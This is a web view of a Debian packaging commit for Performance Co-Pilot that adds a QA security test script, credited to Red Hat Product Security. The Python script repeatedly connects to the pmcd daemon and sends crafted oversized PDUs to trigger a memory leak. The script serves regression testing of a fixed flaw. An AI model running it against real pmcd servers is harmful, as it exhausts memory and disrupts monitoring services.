diff options
author | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
---|---|---|
committer | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
commit | 47e6e7c84f008a53061e661f31ae96629bc694ef (patch) | |
tree | 648a07f3b5b9d67ce19b0fd72e8caa1175c98f1a /qa/secure/leak-getpdu | |
download | pcp-debian.tar.gz |
Debian 3.9.10debian/3.9.10debian
Diffstat (limited to 'qa/secure/leak-getpdu')
-rwxr-xr-x | qa/secure/leak-getpdu | 18 |
1 files changed, 18 insertions, 0 deletions
diff --git a/qa/secure/leak-getpdu b/qa/secure/leak-getpdu new file mode 100755 index 0000000..c7ab417 --- /dev/null +++ b/qa/secure/leak-getpdu @@ -0,0 +1,18 @@ +# +# usage: python leak-getpdu HOST +# +# Connects to pmcd on HOST and sends crafted PDUs which triggers a memory leak. +# +# Florian Weimer / Red Hat Product Security Team +# +import socket +import sys +import pcppdu +_, host, count = sys.argv +iterations = int(count) +for i in range(iterations): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((host, 44321)) + pcppdu.client_handshake(sock, from_=1) + pcppdu.send_pdu(sock, -1, 1, str("X") * 65000) + sock.close() |